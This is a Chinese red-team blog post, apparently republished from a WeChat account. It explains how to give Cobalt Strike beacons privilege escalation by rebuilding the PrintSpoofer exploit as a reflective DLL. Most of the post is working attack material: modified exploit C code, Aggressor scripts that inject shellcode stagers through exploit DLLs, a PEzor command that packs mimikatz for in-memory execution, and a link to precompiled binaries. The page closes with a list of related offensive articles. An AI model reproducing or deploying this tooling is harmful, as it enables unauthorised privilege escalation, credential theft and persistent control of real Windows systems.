专栏首页鸿鹄实验室使用ReflectiveDLLInjection武装你的CobaltStrike

使用ReflectiveDLLInjection武装你的CobaltStrike

众所周知,CobaltStrike是一款优秀的C2工具,但其没有为我们提供想metasploit那样丰富的提权功能,好在其AggressorScript为我们提供了无限的可能,也衍生除了很多优秀的cna脚本,比如taowu等等。里面就包含了提权功能,下面是部分脚本中提权功能的实现:

可以看到方式各不相同,部分需要exe落地,而有的则使用了今天我们需要讲的ReflectiveDLLInjection,通常,在进程启动时,DLL被加载到内存中;但是,DLL也可以注入到正在运行的进程中。通过DLL注入,我们不再需要创建进程来执行代码(各种DLL注入技术);但是,我们仍然需要将文件写入磁盘才能完成注入。反射型DLL注入解决了这个问题。该技术由StephenFewer开发,允许我们将代码注入现有进程而无需写入磁盘。因此,利用型反射DLL注入,我们可以跳过写入磁盘以及创建进程,直接将代码完整注入内存,AggressorScript脚本提供了一些关于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn

那么我们下面就来写一个简单的ReflectiveDLLInjection,在之前已经有了比较成熟的项目,我们直接拿过来用即可:https://github.com/stephenfewer/ReflectiveDLLInjection

效果为启动弹出helloworld。

然后就是写cna了,简单的写一下就行:

alias reflective_dll {
  btask($1, "reflective_dll test");
  bdllspawn!($1, script_resource("reflective_dll.x64.dll"), $null, "MessageBox" , 1000);
}

然后CobaltStrike运行reflective_dll就行啦。那么上面说到了提权,我们就来看一下如何将提权exp进行反射处理,这里以PrintSpoofer(https://github.com/itm4n/PrintSpoofer)为例:

首先导入相关的头文件:ReflectiveDllInjection.h、ReflectiveLoader.cpp、ReflectiveLoader.h。

接下来,就是删除原文件中的main了。

然后需要更改的就是GetSystem函数,原来的exp,该函数是用来进行后续的CreateProcessAsUser操作的,我们这里用不到,把它改成下面这样就行了:

BOOL GetSystem(HANDLE hPipe)
{
  if (!ImpersonateNamedPipeClient(hPipe))
  {
    wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError());
    return FALSE;
  }
  wprintf(L"[+] ImpersoneteNamedPipeClient OK\n");
  return TRUE;

}

然后将之前在main中需要实现的过程,在dll中进行实现:

基本上就差不多了,接下来就是编译成x86、x64版本的就行啦。

然后来编写我们的cna文件:

注册提权使用的是beacon_exploit_register

sub ms16_016_exploit {
  local('$stager');
  
  # check if we're on an x64 system and error out.
  if (-is64 $1) {
    berror($1, "ms16-016 exploit is x86 only");
    return;
  }

  # acknowledge this command
  btask($1, "Task Beacon to run " . listener_describe($2) . " via ms16-016", "T1068");

  # generate our shellcode
  $stager = payload($2, "x86");

  # spawn a Beacon post-ex job with the exploit DLL
  bdllspawn!($1, getFileProper(script_resource("modules"), "cve-2016-0051.x86.dll"), $stager, "ms16-016", 5000);

  # link to our payload if it's a TCP or SMB Beacon
  beacon_link($1, $null, $2);
}

beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016_exploit);

仿照该代码,编写我们的:

sub printspoofer {
    btask($1, "Task Beacon to run " . listener_describe($2) . "  PrintSpoofer");
    
    if (-is64 $1)
    {
        $arch = "x64";
        $dll = script_resource("x64.dll");
    } else {
        $arch = "x86";
        $dll = script_resource("x86.dll");
    }
    $stager = shellcode($2, false, $arch);
    
    bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000);
    
    bstage($1, $null, $2, $arch);
}

beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer);

好了,进行测试。。

除了自己写之外呢,最近新出的pezor也可以实现相同的效果:

PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'

文章中的所涉及的编译好的文件已上传至GitHub,需要的自取:https://github.com/lengjibo/RedTeamTools/tree/master/windows/PrintSpoofer_ReflectiveDLL

参考文章:

https://payloads.online/archivers/2020-03-02/1

https://bbs.pediy.com/thread-246930.htm

https://cobaltstrike.com/aggressor-script/functions.html

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-12-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • RogueWinRM提权

    RogueWinRM是一种新型的提权方法,原理在https://decoder.cloud/2019/12/06/we-thought-they-were-po...

    鸿鹄实验室
  • CobaltStrike手册系列-安装及功能介绍篇

    通过侦察目标开始你的攻击。Cobalt Strike的系统分析器是一个Web应用程序,可以映射目标的客户端攻击面。

    Ms08067安全实验室
  • 使用Lint工具“武装”你的项目

    通过静态检查工具来规范自己项目的代码,让团队所有成员保持一致的编码风格,这样大家可以专注于核心特性的开发,提升整体开发效率。

    DevUI团队
  • CobaltStrike专题 | CobaltStrike 代理的使用

    声明:公众号文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载!请勿利用文章内的相关技术从事非法测试,如因此...

    贝塔安全实验室
  • 利用Reflective DLL转存sam注册表

    继续使用我们的Reflective DLL功能来武装我们的CobaltStrike。

    鸿鹄实验室
  • 域渗透不用进程窃取如何横向 Bypass Psexec AV 拿到域控?

    大家好,这里是 渗透攻击红队 的第 63 篇文章,本公众号会记录一些红队攻击的案例,不定时更新

    渗透攻击红队
  • 用python武装你的后院

    在知乎上看到一个问题:“可以用 Python 做哪些神奇好玩的事情?”。被赞同最多的一个回答提到了一个叫做Kurt Grandis的程序员,他用Python做了...

    Crossin先生
  • Red Team 工具集之辅助工具

    上图是一个 Red Team 攻击的生命周期,整个生命周期包括:信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(在这个基础上...

    信安之路
  • 贼心不死,海莲花APT组织一季度攻击活动揭秘

    “海莲花”(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国的敏感目标进行攻击活动,是近几年来针对中...

    FB客服
  • CobaltStrike专题 | CobaltStrike钓鱼攻击与防范

    声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企...

    贝塔安全实验室
  • CobaltStrike专题 | CobaltStrike监听及Payload使用

    声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企...

    贝塔安全实验室
  • ProcessHider利用分析

    ProcessHider能够在任务管理器和Process Explorer之类的监视工具中隐藏指定进程,本文将要介绍实现原理,分析代码细节。

    C4rpeDime
  • CobaltStrike专题 | CobaltStrike实现批量发送钓鱼邮件

    声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企...

    贝塔安全实验室
  • CobaltStrike专题 | 实战化部署及注意事项

    声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企...

    贝塔安全实验室
  • Cobalt Strike入门宝典

    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分...

    轩辕小子
  • 抛砖引玉之CobaltStrike4.1的BOF

    文章初衷只为攻防研究、技术交流只用。严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动。因此产生的一切不良后果与文章作者及本公众号无关。

    鸿鹄实验室
  • C2基础建设 - Azure中继

    AzureC2Relay是一个Azure功能,通过基于Cobalt Strike Malleable C2配置文件验证传入的请求来验证和中继Cobalt St...

    Khan安全团队
  • 如何武装你的Vue项目?

    我想混迹前端市场的大家都知道,Vue可以说是一匹黑马,目前github star数已居第一位!前端开发者对Vue使用频率也越来越高。

    前端劝退师
  • 内网渗透靶机-VulnStack 1

    靶机是红日团队开源的一个靶机,靠着这个环境学习到了很多啊哈哈哈!现在自己也是会搭建一些环境了!也是靠着这个靶机从0开始学内网,了解内网渗透,虽然很菜很菜很菜!靶...

    Gcow安全团队

扫码关注云+社区

领取腾讯云代金券